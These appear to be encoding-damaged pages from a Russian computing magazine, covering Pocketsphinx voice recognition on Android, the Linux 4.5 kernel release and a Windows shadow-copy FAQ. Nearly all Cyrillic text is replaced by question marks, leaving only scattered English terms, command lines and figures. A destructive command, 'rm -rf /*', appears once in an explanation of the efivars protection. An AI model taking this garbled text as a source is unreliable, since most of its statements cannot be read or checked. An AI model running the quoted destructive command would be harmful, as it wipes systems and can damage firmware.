?а???? ??? iOS. ??????? ???????????? ????? ??????? ????? ???????? ?????????????? ???? (? ??????? Google ASR ??? Yandex SpeechKit) ?а?????? ????????????, ?а????? ?а???????? ?а???????? ?????????????. ?а???? ?? ??? ???????а? ??а????? ?????? ??? ?????????? ?а???????? ?а?? ??? ????? ?????????
??? ???????.
????? ??????? ????????, ??? ???????????? ????? ??????? ???????? ??????
?а?????? ????????? ???????????? (?????????, ????????). ????? ????? ????????, ??? ?а???? ?????? ?а??? ????? ?????? ???????????? ??????? ?а??????????. ???а????????????? ????????????? ?????? (? ???????, ???а?????? ???-????????? ??? ?????????? ???????) ????? ???????????? ??????-??????.
????????
???????
???????
????????,
????? ????
????????
??????????
??????????
????????
??????а? ??????? ????????? ???а???а???????, ?????????? ?????? ?а????? ?а?????????? ?а????????? ??????,
??????? ???а????????????? ???????????? ??????? ?а???????? ???? ??а??????? Android-??????????? ?а??????????? ???????? ????????? ??. ??а???????? ??? ????????
WARNING
???: ??????? ???????????? ????????, ????? ?????????????? ???, ??????? ??
?? ???????? ??????? ?????????? (? ????? ?????? ????????????? ?????, ??? ?????). ?????????? Veravoice ?????????? ????? ?а????????
???????? ?а??????????
???? ????????? ?а??????????? ??а?? ???????? ??????Veravoice ?а??????????
????????????? ???а?????? ???? ??????????. ????? ?????????? ????? ????????
??????? ?????????
??а????????? ????????? ?а?????????????? ??????????,
??????????? ??????????
????? ???а??????? ?????? ??? ???????.
??????????.
????????? Veravoice ???????. ????????? ????? ?????? ??????????? ??а???????. ??????? ????????? API
Pocketsphinx ?аAndroid SDK, ?а?????????? ?????????? ?????? ??????????????? ??????????. ?а??????? ????? ?????????? ????? ??????????? ?????? ????, ?????????
???? ?а??????? ???????? ?????? ????. ???? ?а?????? ??????? ???????? ??а???????? ?????????, ????? ???????,
INFO
????? ?а??????, ????????????: л????? ???! ????! ?????????!╗а? ?а???????? ?????? ????????????, ?????? ???????
????? ??????
?????? ??? ??????????? ?а?????????.
???????? ????????
Pocketsphinx ????? ??? ?а???, ??? ????????? ??? ??????????????????
???????????? GitHub
?? ?а?а??? ??????????? ????????? ????????? ?????????,
??????? ?????????,
???а?????????, л?? ???????╗. ???????? ????? ?????????????? ??????????
?????? ???? ???????, ???? ???????? ??а?????? ???????Veravoice, ?а???????
??????????? ???????
??, ???? ?????? ???????? ????? ??????. ????? ????? ????
???? ???? ?????????
????????? ???????????.
?а????????
??????? ???????? ?????? ?а?????????? ??????????????????????????
?аCMU Sphinx.
???? ???????? ?????????????? ?а?????? ???????? ??????.
??????? ??????
??а???? ???????? ?а?????????? ????? ?????? ??????.
??????????
????? ?? ??????????? ???? ??а????????? ??????, ??а??????аAndroid ?????
??? ???????. ????? ???????, ??? ???? ?????????? ?????
??????.
???????????? ?????? ??, ???? ?? ??? ??????, ?а??а????? ????. ??????? ??а??????. ????????, Pocketsphinx ?????????? ??????????
???????? JSGFа? ???????????????? ???аJava Speech Grammar Format, ???
?????? ?????????? ???? JavaScript. ?????????? ????????? Sun Microsystems,
????????, ?????? W3C ?а???????? ?????????. ??а????, ??? ????????????? ?????????? ???? ??? ????? ????? ?а???? ????????? ????. JSGF ???????????? ??????? ????????? ????????????? ????, ?а??? ????? ??????????????. ?? ?????
?а????????? ??????? ??? ??????????? ???????? ????, ??????? ????? ??????????? ????????????. ?а????? ?????? ??? ????? ???????? ?????????. ????????
???????? ???:
Pocketsphinx ????? ????? ???????? ??а?????????????? ??????? ?????, ??????????? ???????????? ?????????? ????. ??а??? ??? ??а?????: ?????????? ????? ???????? ????? ???????? ?????? ??а???????? ?????????. ????? ????????????? Pocketsphinx ?????? ??? ??????? ??????? ??????, ??? ?????????? ?????
???? ???? ??а??????:
???? ????? ????????, ??? ???????????? ????? ??????? ??а????, ?а?????????
????????? ??????. Veravoice ???????? ?????? ????????? ??а??????????? ??????
???? (??. ?????) ?а????????? ????? ?????????? ?а?????? Grammar. ??????????а? ??? ??, ???а????? ???????? ????????????. ????? ??????? Pocketsphinx
????, ???а?? ????? ??????????? ???-????, ?????????? ??????? ??? ?????????
???????? ???????????? ????. ?а???? ??? ??????? ????????????. ??? ?????????? ???????. ???????????? ??????????? ?а??????? ???????????? ??????????. ??????:
????? uu m n ay j
??? d oo m
?а????????, ?????? ????????. ??????? ??????? ?а???????????? ??????????
????????. ??????? ?????????а? ?????? ?????????, ??а??????? ???? ???????.
??? ????????? ?????????? ???а???? ?????? ???????? ????? ????? ????? ?а????? ???????? ??????. ???????, ??? ??????? ??????? ??? ???????????? ?а?????????? ??????????, ?????? ??? ?????? ??????? ??а???????? ????????, ??????? ???????????? ???? ????? ???????????. ??????? ?аVeravoice ????????
???????????? ???????????? ??а????. ??????????? ??? ????? JavaScript-?????
PhonMapper, ??????? ????? ???????? ??а???? ??????? ?а???????????? ???а???
?????????? ????????????. ??????????? ???.
????????????а? ????? ?????? ????? ????? ????????
?????????? ???????
??? ??????????? ?????? ????????????? ???? ??? ????? л??????? ????╗ ?а?????
???????????? ??????? ???????? ????? (??? ????). ???а???? ??? ?????? ?????
?а???? ????? ???????????. ??? ??а?? ?? ?????, ??? ??????? ?????????? ?а?????? ???????? ????????. ???????????? ????????? ????? ?????? ???? ??????
?а????????? ?? ??????????. ????? ???? ????????, ??? ??????? ????????????, ?????????? ??? Pocketsphinx, ??????????? ????? ??????? ?а?????? ???
???????? ??а??????? ?аAPI. ??????? ????, ??? ???а????????? ??????? ?????
??а?????? ??????? ????????????, ??а?а????????? ?????????? ???????? ?????? ????????????????. ???????? ????? ???????? ???????? ?а????????? ??????
???????????? (??? ????? ?? ??а?????????? ????????????? ?????, ?а???????
?? ??????????), ??????? ???????а? ?а???????? ?????????????????. ???????
?????? ????????? ????? ?????. ???а??? ?????????? ????, Pocketsphinx ????????????? ??????? API ???а???????????????? ?а??????? ???????? ?????????????. ??? ?????? SpeechRecognizer ?аSpeechRecognizerSetup. ??? ???а???
???????? ?а???? ??????????:
???? ????????? ??а???, ????? ????????? ?а????? ????????? ?????. ??-??????,
?????? ??а???? ?????????? ??? ??????????? ????? (Pocketsphinx ??????? ??????? ??а????? ???????????? ??????, ?????????? ?а??????? ?а??????????????). ??-??????, ??????????????? ??? ?????? ?????????????. ???????????
???? ?а?????? ?????? ?а???????, ?а????? ????????? ????????? (????? ???????????????? ???а????????????? ?????). ?-???????, ??????????????? ???? ?а?????
?а???????????, ?а????? ????????????? ?????. ??а???? ????? ?????, ??? ????
?????? ??????????????? ????? ?а???а??????????, ?а???а????????????? ????????????? ?????. ???а???? ??? ????????? ?а???а????, ????? ?? ????? ?????? ????????????? ????? ???, ??? ?а?????? ?????? ????? ????????????. ??? ???а???????? ?????? ???????? ????????????? ????????????? ?????:
?а??? ???а? ????????????? ???? ??а???????? ??????????:
?????? ???????? ??????????????а? ??? ????? ?а?????????????, ????? ???????? ????????????? ????? ????????????? ???????????, ???? ????? ?????? ??а???????. ???а??????, ????? ???????????? ?????? ???? ?????? ???а??????? ????? ?????.
?????????
????? ???????? ????????? ?????????????, ?????????? ????? ??????? ???
??????????? ????????? ???????, ??????? ?????????????? ?????????
RecognitionListener. ?а???? ???? ????????? ???????, ??????? ??????????
???а??????????? ?????? ??а????????????? ???????:
? onBeginningOfSpeechа? ?????? ??????? ?????-?? ????, ???????? ???? (?
????? ????, ?а???);
? onEndOfSpeechа? ???? ??????????;
? onPartialResultа? ???? ????????????? ?????????? ?????????????.
???а????????????? ????? ??? ??????, ??? ??? ?????????; ???????? Hypothesis
???????? ?????? ?а????????????? (?????? ?аscore);
? onResultа? ???????? ????????? ?????????????. ???? ????? ????? ??????
????? ?????? ?????? stopSpeechRecognizer. ???????? Hypothesis ????????
?????? ?а????????????? (?????? ?аscore).
???????? ??? ??? ???? ???????? ?????? onPartialResult ?аonResult, ????? ???????? ?????? ????????????? ?а???????? ????????????? ?????????. ???
???а??? ??????? ?а?????? ?а????? ???????????:
????, ????? ???????? ??????? onEndOfSpeech, ???а???? ?? ?????????? ??????? ???а??????????, ?? ?????????? ?????????? ?????????????, ????? ????
????? ????? ?????? onResult. ?аonResult ????? ?????????, ??? ?????? ??? ????
??????????. ???? ??? ???????, ?? ????? ????????? ?? ??а?????????? ?а??????????? ?????? ??а????????????? ????????????? ?????. ?аonPartialResult
??? ?????????? ?????? ????????????? ????????????? ?????. ???? ?? ??? ????????????, ?? ????? ????????? ??????? ????????????? ???????. ??? ???а??
????????:
????? ?? ?????? ?????? ????????? ?????? ???а?????????? ????????????, ???
?? ??? ???????? ?а?????? ?а??? ???????. ??а??? ????? ???????? ?????? ????
????????. ??????? ?? ????????? ????????????? ????? ?????????? ????-???? (???? ??????, ??? ???????????? ???????, ????? ??а???????? ??? ???). ????? ??????????? ?????, ??????? ????????? ????????????? ?????????????, ????
???????????? ??????? ??????? ?????. ?а?????? ?????? ??? ??? ???????. ?????
?????????? ???????????? ?????? ?а???????. ??? ??? ??? ?????????? ???а??????????? ??????????. ?а????? ??????? ?? ?????? ??????????? ??а???????
???????? ?????????, ???? ??а??? ?????? ?????????? ?а???? ?????? ??? ????????? ?а??????? HTTP-??????? ??а?????????? ?????? ????, ???? ????????
??? ??????? ????????? (??? ?а?????? ?а???????????). ??? ?????? ????? ???????
?а?????? Controller.
??????????? ????. ?????? ????а? ??? ????????, ???????? ?????????????.
????? ????????а? ????? ?????????? ?????? ?????? ?а????, ????? ?? ???????
????????????. ????????, ??????: ?? ?????? ????????? ???? Android-?????????? ?????????? ??????? ???????????. ?а??????? APITextToSpeech ??? ??????? ???????? ?????? (??????? Google ??а?????????? ??????? TTS ???а???????? ?????):
????? ???????, ??? ????? ???????? ????? ??????????? ????????? ?????????????. ??а????????? ??????????? ?????? ?????????? ???????????? ?а???????
????????, ?а???-?? ?????????????.
????????? ??????? ???? (?? ???? ????????? ???????? ????????? ?????? ????????????) ????? ????????? ?а?????????:
?а??? ?? ?????? ?????????, ??? ?? ??? ????-?? ?а??????? ??а??????, ?а???????? ????????????? ????????????? ?????, ???? ?????? ?????? ???.
?????? ??????????
???? ??! ???а??????, ?????? ?а??????????? ???????????? ???? ????? ??а?????????? ?????? ????????а? ????????? ??????? ????? ????????????? ????????,
???аPocketsphinx. ?? ????????????? ????? ??????? API, ??????? ????? ???????????? ?а??????? ?????, ????????? ?а?????????????? ????????? ??????.
?а?????? ??????? ?? ?????????? ????????????? ?а?????? ?????????? ??????а? ?????????? ?????????? ???????????? ?????? ????. ??а???? ??????????
????????????? ?? ???????? ????? ??????? ???????? ?????? ?а?????????????? ??????.
???????, ??? ??? ?? ??? ????? ???????????? ?а???а?????? ?????, ?????????
?а???????. ??? ????????????? ?????? ???? ?????? ????? ???. ??? ?????????, ?а????? ???? ?????? ?????????? ?????? ????? ?а??????????? ??????????
Veravoice ??аGitHub.
?а??? ?? ????? ????? ?????????? ?????? ??а???????? ???????, ??? ??????????
??? ??а?? ??? ?????? ??а????????????а? ??? ?????? ?????. ??????? ???????
(???? ?? ????????????? ???? ???а??????????? ??? ?? ??????? ???? л????? ???╗)
????? ?????? ????????, ?а????? ?????? ??????????? ?? ????, ????? ????? ???????????? ??????????? ???????????? (??? ???а???????). ??????? ??а??????
????? ???????? ??????? ????????????? ???? ???аLinux ?????? ???????? ???????? ????????? ???? ??, ??а???????? ????????????? ?а???????????.
SYNACK
??????
лurban.prankster╗
?????????
prank.urban@gmail.com
????
?????????
??????????
?а????? ????? 4.5
?а???????? ????? ????? ????? ???? ??????? ?????????? ?а???? release candidate ????? ????????? ??????????
????? ?????? ???? 4.5. ????? ???????????, ?а??????
????????????? ????? ??????. ????????? ????????? ???
??????????а? ????????, ?????? ?а???????, ?????????
?а??????? ???????, ????????????, ?, ??????? ??, ????????? ???????? ???а????? ?????????. ????????? ??????????? ?а?????????? ???????? ???????????.
?а??????
????? ???? 4.4 ????? ???????????? ???????, ?а?????? ?????? 2016-??, ??а??а???
???????? ????? ?????????? ??????? ?????????? ??????????. ?а???? ????? ?????? ????? ????? л??????????╗, ????? ???????, ??? ??а????????? ?а???????
4.4 ?????? ????? ????? ????? ??а?????а? 70 ????? ?????? 49 ?????. ?а?????????? ??????????? ???????? 1528 ???????, ??????? ?????? ????? 13 ????? ???????????. ?а????? ??? 11 ????? ?????? ???? ????????? 1 146а727, ???????
854 589 ????? ????. ?а4.4 ???? ?????????????? 714 106 ?а471 010 ?????. ?????
???????? (45%) ???? ????????? ??????? ?а?????????? ?????????, 17% ??????????? ??? ?????????? ??????????, 14% ???????? ???????? ?????, 4%а? ???????? ??????, ?а3% ????????? ?????????? ?????????? ????.
?????????? ?????????? ????? ?????? ??? ??????? (Doug Ledford) ??аRed
Hat, ???????????? ?а???????? ??????? ???? (7,7%), ???? ????????? (Tomi
Valkeinen) ??аTexas Instruments, ?????????? ??? ?????????? ??????????????
OMAP (5,3%), ??? ???????????? ????????????? ???????? ??а????????? ??????????? ???? AMD: ???? ???? (Eric Huang)а? 3,3%, ????? ?????? (Alex Deucher)а?
2,4% ?аyanyang1а? 1,6%. ?????? ??а???????????а? ????? ?????? (Linus Walleij)
??аLinaro, ????????????? ????????? ?????????????? ?????????, ?а??? ?????
?а??????????????? ?? GPIO (2,0%), ???? ??????? (Arnd Bergmann), ??????????? ??????? ?????? ???а????????? ARM (1,9%), ?а??? ??? (Leo Kim), ???????????? ????????? wilc1000 (1,7%). ???а?а?????, ?????? ?????????? ?????????????? ?а???????? ????. ?????? ??? ??????? 4.5 ?????????? ????? 200
????????, ????? ??????? Red Hat, Intel, AMD, Texas Instruments, Linaro, Linux
Foundation, Samsung, IBM, Google. ??????????? ??а??? ????????? ?????????
????? ????????? ?а????????? ????????? ?а????????????, ??, ????????, Google
??????????? ?????? ????? ????? ????????? ?а??????? ?????????? Linux.
????????? ?а?????? ?????? ????
???? ?а????????
??????????? ??????? ???????? ?а????? ??????????????? ????, ???????????
??а?????????? (x86/asm) ??а?, ??????? ??? ?а4.0. ???? ?????? ????? ???????? ?а?????????? -fsanitize=undefined. ??? ???????? ???????? ??? ????
????? ?аGCC 4.9+ ?а?????????? ?????????? ????? UBSan (Undefined Behavior
Sanitizer), ??????? ??????????? ?????????????? ?????????, ???????? ??????
C ?аC++: ????????????? ????????????? ?????????? ??а?????????????, ??????? ??а????, ????????????? ???????????? ?а??? ?????. ?????????? ??????
????????????, ??? ????? ???????? ??????? ??а??????????, ?а?а?????? ??????????? ????????? ????? ???? ????? ?а??????? ??а?????? ???????????. ??????
?????????? ???????????? ????? ????????, ?????? лruntime error:╗ (????? ????????? -fno-sanitize-recover) ?а?????????? ??????????.
??а????????? ?а?????? ?????? ??а??? ?????????? ??????????? ?а???????????? ??????, ??? ????????? ????? ??????????? ?????. ???а?????????? ???????????? ???????????? ??? ??????????, ???? ??а???а? ????????? ???????? ???а?????? mmap(), ????????????? ?а???? ASLR (Address Space Layout
Randomization). ??????? ?????????? ASLR ????????? ?аLinux ?а2005 ???? ?а????
2.6 ?а???????? ???а32-?????? ?????? 8-?????? ???????? (??а???? 256 ????????? ???????, ???? ??а????? ???? ??????), ?а???аx64а? ???????? ??? 28-??????. ???аx64 ????????? ?????? ??????????, ?а??? ???а32-?????? ??????, ?????
??????? Android, ????? ??а??????? ???? ????. ??? ???????? ?????????, ??????? ????????? ?????. ?а?????????? ?????? ??????? ???????? ??????? ????,
??????????? ????????????? ??????? ??????????? ???аASLR, ????? /proc/
sys/vm/mmap_rnd_bits ?а/proc/sys/vm/mmap_rnd_compat_bits (? ???????? x64 ???аx86-?????????). ???а?????? ??????????? ??????????? ??????????? ?а???????????? ???????? ?а?????? ?????????? ????????? ????????????.
???аx86 ???????? ????? ?????????? ?а????????? ??а8 ??а16 ??? ??? 28?32 (???
x64-??????). ????????? ??а????????? ????? ???????? ???а?????? ????.
????????? ASLR ?а????? ????
????????? ??????????? DRM-???????? ???а????????? NVIDIA (Nouveau)
?аIntel (????????? ???????? ????????? ????? Kaby Lake), ????????? ????????? ????? ???????? ????, USB-????????????, ?????????????????. ????????????? ??????????? ???? Intel ?аNVIDIA ??? ????? ?????????? ??а?????????????
?????? UMS (Userspace Mode Setting) ?а????? open source ????????? ?а?????? KMS (Kernel Mode Setting), ?????? ?????? ??????? ???????? ATI Radeon,
?а??????? ????? ??? ?????? UMS. ?а3.9 ???? ???????? ??? ???????? ?????????? DRM_RADEON_UMS ??? ?????????? radeon.modeset=0 ?аGRUB. ??????
??????? ?????? KMS (Kernel Mode Setting). ??? ????? ?????????, ???? ?????????? ???????????? ?????? ???????? ??? ????? UMS (UMS ?????? ??????????
??????? ??????????????????).
?а??????? AMDGPU ????????? ????????????????? ????????? ??????????
????????????? ?????????? ???????? PowerPlay, ??????????? ???????? ?????????????????? GPU ???аGPU Tonga ?аFiji ?а??????????????? Carrizo ?аStoney.
?а?????? PowerPlay GPU ??????????? ?а?????? ??????? ?????????????????,
??а?а?????? ??????????? ???????? ??а??????????? ?????????? ?????????????
??????????? ???????. ??а????????? PowerPlay ????????, ???а????????? ??????? ???????? ???? ???????? amdgpu.powerplay=1.
????? ?????? Media controller API ????????? ????????? ?????????
Video4Linux ?а????????? ???????????? ???????????????? ?????????????????????? ?а?????? ???????????, ????? ???аDVB, ALSA ?аIIO.
?аKVM (Kernel-Based Virtual Machine) ????? ??????? ???а????????? ??????????? s390 (?????? ??? ????? ???????????? ??а248 vCPU), ARM/ARM64 ?а????????? ?????? x86 ?аHyper-V.
????????? ???? 4.5 ?аUbuntu
????? ??????? ?????? ????????????? ?а????? ?????а? ???????????? ??????
??аUbuntu Kernel Team. ????? ????????????? ???????????? ????? ???? ?????
???????? ?аppa:canonical-kernel-team/ppa, ??а?????? ??а??? ?????? ?????.
$ wget -? http://kernel.ubuntu.com/~kernel-ppa/mainline/v4.5-wily/
linux-headers-4.5.0-040500-generic_4.5.0-040500.201603140130_
amd64.deb http://kernel.ubuntu.com/~kernel-ppa/mainline/v4.5
wily/linux-headers-4.5.0-040500_4.5.0-040500.201603140130_all.
deb http://kernel.ubuntu.com/~kernel-ppa/mainline/v4.5-wily/l
inux-image-4.5.0-040500-generic_4.5.0-040500.201603140130_amd
64.deb
$ sudo dpkg -i linux*.deb
????????? ARM
ARM-?????????? ???????????? ???а????-??????? ??? ???????????? ??????
??? ?а???????? ???????????? ?????????????, ??? ?????? ?? ????? ???????????
?а???????????????. ARM-?????????? Linux ??а????????? ???? ??? ???????????? ?а???? ??а???????? ????????, ??????? ???????????? ?????? ??а????????? 32-????????? ARM-????????, ?????????? ????????? ???? ?????, ?а???
?????? ?а????? ??????????? ?а?????? ????? 4.5. ????? ???а??????? ARM-?????????? ?????????? ???? ??????? ??????????? ????, ??????????????
????????? ?????? ???????????? ?????????. ??а???????? ?а???, ??? ??????????
??????????? ???????, ????????? ??????????? ????????? ????????????, ??
?а???? ???????????? ??аARM-??????????? ?????? ???????????? ???а?????? ???????????? ??????? ????????????. ??а?а????? ?? ????? ????????? ????? ????????? ?????? ????, ??? ????? ?????????? ????????????? Linux.
??????????? ??????? ?а???????????? ???????? ?????????? ???? ????? ????????? ????????? ?а???? ???? ????????? ARMv6 ?аARMv7, ?? ???? ?????? ????? ??????? ????????????? ????, ????????? ??????????? ??а????? ????????.
?????, ????????, ????? ????????? ?а?а???????????? ?а????????? ????? ???????????? Device Tree, ????????? ???а????? ?????????? Open Firmware. Device
Tree ????????? ??????????????? ???????????? ?? ????? ???????? ???а?????? ??????????? dts-??????, ?????????? ?а/boot/dtbs, ?а?????? ?????????
???а?????????? ????. ????????????? Device Tree ?????????? ????????????
???а???? ????? ?????????? ARM ?а??а?????? ?????????. ??? ??? ?????? ????
???????????, ??? ???????????? Linux ?а??????? ????? ????? ???????? ????????? ??а????? ARM-??????????. ??????????? ???? ????-??????? (Greg KroahHartman) ??аLinux Foundation ???????? ????, ??????????? ???????? ??????????? ???а?????? ?????? ????. ?аarch/arm64 ?????? ???, ??????????????
????????? ????? 64-?????? ??????????? ARM (ARMv8). ????????? ?????
??????? ???а???? ?????????? ?????????? ARMа? Allwinner, Amlogic, Samsung,
Qualcomm ?а????????? ????? ARM-???? ????????? ?????????????.
????????? ???????
???а??????? ?а?????? ???????? UEFI (Unified Extensible Firmware Interface)
?аLinux ???????????? ??????????? ?????????????? ??????? efivars (????????????? EFIVAR_FS), ??????? ??????????? ?а/sys/firmware/efi/efivars. ?а????????? ??????????? ???а?????????? ??????? rm -rf /* ????????? ??????????
?а????? ????????, ??? ????????? ?а?????????? ????????. ????????а? ???????????? ????????? ??а??????? ??? ????????? ???????????, ???? ????????, ???????, ??а????? ????????????????, ?? ?а???? ?? ??????-?? ???????????? ?????? ?а?????? ??? ?????????. ??? ??а????? ???????? ????, ?а???????? ???????
?????? ??????? ????? ??????????????? ????? ????????????. ?????? ?а???? 4.5
????????? ??????????? ?????? ???????? /sys/firmware/efi/efivars, ??а??????????? ??????? ????? ??????.
????????? efivars ?а????
???????? ??????????? ????? cgroups ???? Linux, ??????????? ?а2.6.24, ????????? ??????????? ?а???????????? ?????????????? ???????. ????????????
???а???????? ??????????? ?а????? ????????, ???аDocker ?аLXC. ??????? ?????????? cgroups ???????? ?????? ?? (Tejun Heo) ??аFacebook. ??????????? ??????????? ???? ??????? ??????????, ??? ????????? ?а????????? ??????????????
????? ????????????? ?а?????????? ???????? ???????? ????. ?а???? 4.5 ????????? ??????????? ?????????????? ?????? cgroups v2 (pdf), ??? ?????????
?????????? ?а?????? ?аFacebook. ?аv2 ???????????? ?????? ???????????????
??????? ???????? (Cgroup unified hierarchy). ???????? cgroup ?????? ?????
????????????? ???а???????? ???? ???????? ??????? cgroup2. ??????????????? ????????? ???а????????? cgroup2 ??????????? ?а?а?????? xt_cgroup
?аiptables, ??????????? ????? ????????? ??????? ???????? cgroup ???а?????? ?????. ??????? ????, ????????? ?а?????????? CONFIG_NETFILTER_XT_
MATCH_CGROUP.
$ echo 1 > /sys/fs/cgroup/net_cls/block/net_cls.classid
$ iptables -A OUTPUT -m cgroup ! --cgroup 1 -j ACCEPT
????????? CONFIG_NETFILTER_XT_MATCH_CGROUP
?аcgroup memory controller ????????? ??????????? ?????????????? ??????????? ?????? ?????????? ??????????? ??????, ??? ????????? ????????? ????????? ?а???????????? ??????????? ?????? ?а??????. ???а??????? ????? ???????
????????? ?а???????? ?????? ??-??? ???????? ????? ??????? ?????????????
?????? (cgroup.memory=nosocket). ??а????????? ?а????????? ?????????????
cgroup memory controller ?????????, ????????? ????? ??а??????? /sys/fs/
cgroup/memory.
??????????? ?????? ????? ?????:
$ cat /proc/cgroups | grep memory
$ dmesg | grep cgroup
???? ?а?????? ?????? ??а???????????, ???????? ???а???????? ??:
$ sudo nano /etc/default/grub
GRUB_CMDLINE_LINUX_DEFAULT="quiet cgroup_enable=memory swapaccount=1"
????????? ?????? cgroup memory controller
??? ?????????? ???????? ??????????? ???????? ?????????, ??а????????????
????????? ?????????? ??а??? ?????. ??? ????? ?а???? ?????? ???? ???????
(Anna Schumaker) ??? ??????????? ????? ????????? ????? copy_file_range,
???????? ?а????? ?а???? 4.5. ??? ????????????? ????????? ???????? ??????????? ????? ??а???? ?????????? ???????? ????? ??? ???? ???а????????????
?а???????????? ????????????. ????????????? copy_file_range ??????????
?????? ???а?????? ??а????? ????? ????????????, ??а???а?????? ??? ??????
??? ??????????? ???? ?????. ??????????? ????????? ???????. ???, COPY_FR_
COPY ???????? ?????? ?а??????? ??????, ??????? ?????? ??а?????? ????????
??????? (???? ????????). ?а?????? COPY_FR_REFLINK ???а??????? ????? ????????????? ???? ??????????, ???а???????????? ??? ???????????. ????????,
Btrfs ????????? ????? ??????? ???????????? ???????? ??а????? ?????. ?????
COPY_FR_DEDUP ????? ??аCOPY_FR_REFLINK, ??а???????????, ????? ?????
??а????????? ?а?????????? ?????????, ?а?????????? ???????? ??? ????????????????? ?????, ??????? ?????????? ???? ?а?? ?? ????? ??????. ?а?????????
????? ????? ????? ????? ?????????? ???аBtrfs, ???? ????? ???а??????? copy
???аNFS v4.2 ?а???аXCOPY ?аSCSI. ?а????????? ??????? copy_file_range ??а????? ?????????? ?а????????? cp, ??? ???аI/O-???????? ?а?????????? ????????
????? ???????.
???????? ??????? ext4 ???????????? ????????? ????????? ????а? ????????????????, ?????????, ?????? ????????????? ??????????? ?????????
???? ???????? project quota. ???????? ??????????? ???? ??? ?аXFS ?аGPFS.
?аext4 ???????????? ????????? XFS. ?????? ???????????? ????? ????????????
??а????????? ???? ?а?????? ?????? (inode), ??????? ????? ???????????? ?????? ?а?????? ?????????. ??? ????? ??????? ????? ?????????? ?????????????
project ID ?а????????? ????/???? ???а????????????? ?????. ????? ??????? ?????
?????????? ??а?????????????. ???а???????? ????? ?а???????? ??? inode ????????????? ???????? ????????? ??????? ????????.
?аnetfilter/nftables ????????? ??????????? ??????????????? ?а???????????? ??????? netdev, ??????????? ?????? ???????????? ?????? ????? ?????
????????????.
# nft add table netdev filter
# nft list table netdev filter
# nft add chain netdev filter ingress { type filter hook ingress
device eth0 priority 0\; }
# nft add rule netdev filter ingress dup to dummy0
????? ????????? ????????? ????????? ?????? ?а?????? (mangling packet
payload) ?а?????????????? ?????????????? ??????????? ????? ?а???????????
????? ?а???????? ???????? ?????? ??? ???????.
????????? netdev ?аnftables
??????? ???? 4.6
????? ????? ?????????, ???????? ??????????? ???? ????????? ???????????,
????????? ?а4.6 ????? ??а??? ??? ????????? ??? ???????? ??-?? ?????????
?????????? ?а???????? ???????????. ???? ??????????? ????????? ?а????????
????? ????????? MDB Linux Kernel Debugger ?а?????? ?????????? ????????????? x86/x64, ??????????? ???????? ?????????? ????? ????? (Jeff Merkey).
???????? ?а????? ????????? ??? ?а????? 2.2, ??а?????? ??? ??? ????????? ?????????.
????? ?????????? ???????, ?????????? ?а??????????? ??????????? ???????????, ????? ??????????? ?????????????? ?????? ?а?????? ??а?????? ?????? ????????. ?аLinux ?????? ?а????? ????????? ???а?????????? ????????????
???а?????? ??????? mmap() ?аmprotect(). ???аLinux ???????????? ?????????
?????????? Memory Protection Keys (PKeys/MPK), ??????? ???????? ?а???????
??????????? Intel. ??? ????????? ???????? ????? ??????, ???????????? ?а????
???????????? ?????, ?????????? ???? ??????, ??????? ??????????? ???а???????. ????? ?????????? ??а??????? ??????????? ?а??????????? S390, HP/PA
(Hewlett-Packard Precision Architecture) ?аIntel. ??? ??? ?????????? ??а??????????. ?аIntel ???????????? 16 ?????? ??????, ?а???????? ????? ??????????????? ????????а? ??? ?????????? ????? ??????, ?????????? ???а??????? ?а??????? ?????????? ?а????? ????????.
?аARM64/AArch64 ???????? ????????? ????? ?????????? ???????? (halfprecision floating point), ???????????? ???????? ?а?????? ???????? ?????,
?а????????? User Access Override (UAO)а? ?????????? ARMv8.2 ???а?????????? ????????????.
???????????? ??????? ?а??????? 2015 ???? ?????? ??? ??????????? xHCI
USB ????????, ???????????? ???????????? ???????????? USB 3.1 ?а???????? ??аSuperSpeed+ ???????? 10 ????/?.
C ??????? 4.5 ???? ?????????, ??? ??а???????? ????? ?а??????? ??????
?????? ???, ??а????????????? ?????????? ?????: ?????????? ???????? APM
(Advanced Power Management), ???????? kgdb, ???????? ??????? Squashfs,
???? ????????? MIPS (????? ??????? ?????), ?????????? lblnet, ??????????
LLVMLinux ?а??????.
?????
???????, ?????????? ???? ?????? ??? ???? ???????? ????? ??????. ??а????????, ??? Linux ??????, ?????, ?а?????????, ??а??? ?? ??? ??????. ??? ?????????? ???? Linux ???????? ?????????, ?а???????? ?????????? ?????????? ?????
?, ???????, ???????? ???????. ??????, ??? ?а?????????, ????? ??????????,
????????? ????????? ??????? ?????????? ???????????? ????????.
FAQ
??????? Zemond
?????????
3em0nd@gmail.com
FAQ
?????? ?? ???????
?????????
(???? ???????? ??? ?? FAQ@GLC.RU)
??????????? ??????? ????? WINDOWS
?????? ?????????? ???а?????????? ?????? ?????? ????? ???? ?????????
?????????. ???????? ????? ??? ????????? ???а?????? ?а????????? ?????????, ?????? ?а??????? ???? ?а?????? ??????????. ?а??????????? ??????? Windows
?????????? ??? ???????? ????? ????? ???????? ????????? ??????? ???????
?????.
?а??????? ?????? (VSS) ?????????? ?????? ??а?????????? ??????. ?????
???????? ????????????? ?????? ???а? ??а????????? Windows ?????? ????? 64
????? ?????. ???????????? ?? ????? ???а???? ??????????????, ??? ??????а?
???а???а?????????????, ??? ?а???а?????? ?????????????? :).
??? ????????? ?????? ???????????? ??????? ?????:
? ??а????????? ???????????? ?????????? ???????? ????????? ???а?????а?
64. ???а?????????? ????? ???????? ?????? VSS ???????? ??????????? ?????????? ??????? ????? ?а??????? ????? ?????? ??????.
? ??? ??????? ????? ??????? ???????? 10% ??????? ???????, ?????? ???
???????? ????? ????????.
? ??????? ??????????? ?????????? ???а???? ???????, ?а???????? ??? ???а????????? ????? ??????????.
? Microsoft ??а??????????? ????????? ???????? ????, ??? ??? ?а???.
????????? ???????? VSS ???????? ??а?????? ???????, ?а???? ?????????, ??
????? ??????????? ??а????? ???????, ???а????? ?????????? ??а?????? ??????.
??? ????? ??????? ????? ???????? ?а????????? ???????? System Volume
Information. ??? ????? ????? ???????? ??а????????? ?а?а?????? ??а??? ????
????????????? ?????? VSSа? 3808876b-c176-4e48-b7ae-04046e6cc752.
???а????????? VSS ????? ??????? ???????? л?????????? ???????????╗, ?????????? ???? л????????? ?????????╗ ?, ??????? ?????? ??????? ???? ??а???????? ????? ?????, ??????? л??? ?????? ????????? ??????? ?????╗.
????????? ??????? ?????
????? ????? ????? ??????? ??????, ???????????? ??? ?а????????? ??????????
???????????. ???? ????? ?????-?? ????? ???????? ??а???? ?????? ???????
????? ?а????? ?ал????????
?????????? ??????╗, ?? ????? ????? ???????
?????? ????????? ??????? ?????.
???а??????, ???????? ?????? ?????
